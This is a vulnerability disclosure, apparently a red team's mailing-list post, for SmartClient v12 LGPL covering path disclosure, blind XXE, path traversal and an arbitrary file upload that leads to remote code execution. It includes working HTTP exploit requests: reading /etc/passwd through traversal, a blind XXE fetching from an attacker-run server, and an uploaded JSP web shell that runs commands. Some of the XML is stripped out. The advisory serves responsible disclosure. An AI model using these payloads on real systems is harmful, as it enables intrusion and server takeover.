Hello, We are informing you about some vulnerabilities we found in SmartClient_v120. 1. Description During an analysis on the Isomorphic Smartclient v12 LGPL version, we found multiple security flaws that are here described. The application we tested (SmartClient_v120p_2019-06-13_LGPL) can be downloaded from official website. (https://www.smartclient.com/product/download.jsp) As today is the latest version. 1) Information Disclosure on absolute path The path “/tools/developerConsoleOperations.jsp” allows a user to test some functionalities. The server accepts in the _transaction parameter XML data and in the appID a valid name; The vulnerable functionality should be also reachable from /isomorphic/IDACall. If a user makes a request on this path, the server replies with a verbose error showing where the application resides (his absolute path). This issue can be used by a malicious user to improve his knowledge about the environment and used for further attacks and to. The path is reachable without any authentication by default. 2) XML External Entity on downloadWSDL The path “/tools/developerConsoleOperations.jsp” allows a user to test some functionalities. The server accepts in the _transaction parameter XML data and in the appID a valid name. A WSDL describes the structure of a SOAP webservice and is basically an XML file. The isomorphic downloadWSDL functionality allows to download and verify a new WSDL (Web Services Description Language). The WSDL document source of the document isn’t checked at all and an attacker can provide a malicious XML file to trigger a blind XXE vulnerability. The path is reachable without any authentication by default. Here there is the javadoc of the resource: https://www.smartclient.com/smartgwtee-12.1/server/javadoc/com/isomorphic/rpc/BuiltinRPC.html#downloadWSDL-java.lang.String-java.lang.String-java.lang.String-com.isomorphic.rpc.RPCManager-javax.servlet.http.HttpServletRequest-javax.servlet.http.HttpServletResponse- 3) Local File Inclusion on loadFile method The Remote Procedure Call (RPC) ‘loadFile’ provided by the console functionality on the /tools/developerConsoleOperations.jsp URL is affected by an LFI issue; The vulnerable functionality should be also reachable from /isomorphic/IDACall. It’s possible to tamper the elem tag in the XML contained in the _transaction POST parameter with a path traversal payload to exfiltrate arbitrary file from the file-system. The path is reachable without any authentication by default. Here there is the javadoc of the resource: https://www.smartclient.com/smartgwtee-12.1/server/javadoc/com/isomorphic/rpc/BuiltinRPC.html#loadFile-java.lang.String- 4) Arbitrary File Upload on SaveFile that could lead to RCE The Remote Procedure Call (RPC) ‘saveFile’ provided by the console functionality on the /tools/developerConsoleOperations.jsp URL allows a user to upload any file; The vulnerable functionality should be also reachable from /isomorphic/IDACall. There isn’t any check on the file extension or its content. The data accepted by the server code shouldn’t contain any characters that is used in the XML syntax like “<”. This limit can be bypassed using the comment of the XML with “5XXXXXXXTESTdownloadWSDLhttp://10.1.100.6:8000/test.xmlxmlaaaaaa.xmltrueiframe&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_0 Response from server: HTTP/1.1 200 Set-Cookie: JSESSIONID=41CEC8DFC7B8968C0D7EDCABB0A5924B; Path=/; HttpOnly Cache-Control: no-cache Pragma: no-cache Expires: Wed, 02 Oct 2019 15:55:02 GMT Content-Type: text/html;charset=UTF-8 Date: Wed, 02 Oct 2019 15:55:02 GMT Connection: close Content-Length: 874

















=========================================================================================================================================================================================== =========================================================================================================================================================================================== 2) XML External Entity on downloadWSDL For this vulnerability, it's necessary create a local python server to get a valid blind xxe payload such as: %ext; ]> Save the payload in a file (e.g. xxe.xml) and start a python server: python -m SimpleHTTPServer 10000 Use this request to trigger the XXE: POST /tools/developerConsoleOperations.jsp?isc_rpc=1&isc_v=v12.0p_2019-06-13&isc_tnum=13 HTTP/1.1 Host: 10.1.100.8:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 616 Connection: close Upgrade-Insecure-Requests: 1 _transaction=13isc_builtinbuiltindownloadWSDLhttp://localhost:10000/xxe.xmlxmlaaaaatrueiframe&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_5 =========================================================================================================================================================================================== =========================================================================================================================================================================================== 3) Local File Inclusion on loadFile method With the following payload can be retrieved the "/etc/passwd": POST /isomorphic/IDACall?isc_rpc=1&isc_v=asd&isc_tnum=3&isc_dd=a HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 686 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/isomorphic/system/helpers/Log.html Cookie: GLog=%7B%0A%20%20%20%20isc_pageURL%3A%22http%3A//localhost%3A8081/docs/resources/explorer.html%22%2C%20%0A%20%20%20%20isc_pageGUID%3A%22BEF212E4-B94A-4030-B4C4-EFA951EFD204%22%2C%20%0A%20%20%20%20priorityDefaults%3A%7B%0A%20%20%20%20%20%20%20%20sgwtInternal%3A1%2C%20%0A%20%20%20%20%20%20%20%20Log%3A4%0A%20%20%20%20%7D%2C%20%0A%20%20%20%20defaultPriority%3A3%2C%20%0A%20%20%20%20left%3A0%2C%20%0A%20%20%20%20top%3A0%2C%20%0A%20%20%20%20width%3A996%2C%20%0A%20%20%20%20height%3A549%2C%20%0A%20%20%20%20trackRPC%3Anull%0A%7D; JSESSIONID=8CF7DFB620FA8D796DE055F83901909D Upgrade-Insecure-Requests: 1 _transaction=3isc_builtinbuiltinloadFile../../../../../../../../../../../../../../../../../../etc/passwdxmlasd.xmltrueiframe&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_0 Response from server: HTTP/1.1 200 Cache-Control: no-cache Pragma: no-cache Expires: Fri, 04 Oct 2019 13:48:05 GMT Content-Type: text/html;charset=UTF-8 Date: Fri, 13 Sep 2019 13:48:05 GMT Connection: close Content-Length: 1615

















=========================================================================================================================================================================================== =========================================================================================================================================================================================== 4) Arbitrary File Upload on SaveFile that lead to RCE POST /isomorphic/IDACall?isc_rpc=1&isc_v=asd&isc_tnum=3&isc_dd=a HTTP/1.1 Host: localhost:8081 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 1440 Origin: http://localhost:8081 Connection: close Referer: http://localhost:8081/isomorphic/system/helpers/Log.html Cookie: GLog=%7B%0A%20%20%20%20isc_pageURL%3A%22http%3A//localhost%3A8081/docs/resources/explorer.html%22%2C%20%0A%20%20%20%20isc_pageGUID%3A%22BEF212E4-B94A-4030-B4C4-EFA951EFD204%22%2C%20%0A%20%20%20%20priorityDefaults%3A%7B%0A%20%20%20%20%20%20%20%20sgwtInternal%3A1%2C%20%0A%20%20%20%20%20%20%20%20Log%3A4%0A%20%20%20%20%7D%2C%20%0A%20%20%20%20defaultPriority%3A3%2C%20%0A%20%20%20%20left%3A0%2C%20%0A%20%20%20%20top%3A0%2C%20%0A%20%20%20%20width%3A996%2C%20%0A%20%20%20%20height%3A549%2C%20%0A%20%20%20%20trackRPC%3Anull%0A%7D; JSESSIONID=8CF7DFB620FA8D796DE055F83901909D Upgrade-Insecure-Requests: 1 _transaction=5isc_builtinbuiltinsaveFile/shell.jsp
<%25
if+(request.getParameter("cmd")+!%3d+null)+{
++++++++out.println("Command%3a+"+%2b+request.getParameter("cmd")+%2b+"
")%3b ++++++++Process+p+%3d+Runtime.getRuntime().exec(request.getParameter("cmd"))%3b ++++++++OutputStream+os+%3d+p.getOutputStream()%3b ++++++++InputStream+in+%3d+p.getInputStream()%3b ++++++++DataInputStream+dis+%3d+new+DataInputStream(in)%3b ++++++++String+disr+%3d+dis.readLine()%3b ++++++++while+(+disr+!%3d+null+)+{ ++++++++++++++++out.println(disr)%3b+ ++++++++++++++++disr+%3d+dis.readLine()%3b+ ++++++++++++++++} ++++++++} %25>
]]>
trueiframjje&protocolVersion=1.0&__iframeTarget__=isc_HiddenFrame_0 Response from server: HTTP/1.1 200 Cache-Control: no-cache Pragma: no-cache Expires: Fri, 04 Oct 2019 13:59:05 GMT Content-Type: text/html;charset=UTF-8 Date: Fri, 13 Sep 2019 13:59:05 GMT Connection: close Content-Length: 352

















After upload navigate to http://local_smartclient:PORT/shell.jsp?cmd=whoami =========================================================================================================================================================================================== =========================================================================================================================================================================================== Timeline - 29/10/2019 Sent the first email to developers (info[at]smartclient.com, support[at]smartclient.com). No response. - 05/11/2019 Sent the second email to developers (info[at]smartclient.com, support[at]smartclient.com). No response. - 18/02/2020 Issues published on seclist.org -- RedTeam Certimeter Group Corso Svizzera, 185 - 10149 - Torino Piazza IV Novembre, 4 - 20124 - Milano Tel +39 011 7741894 www.certimetergroup.com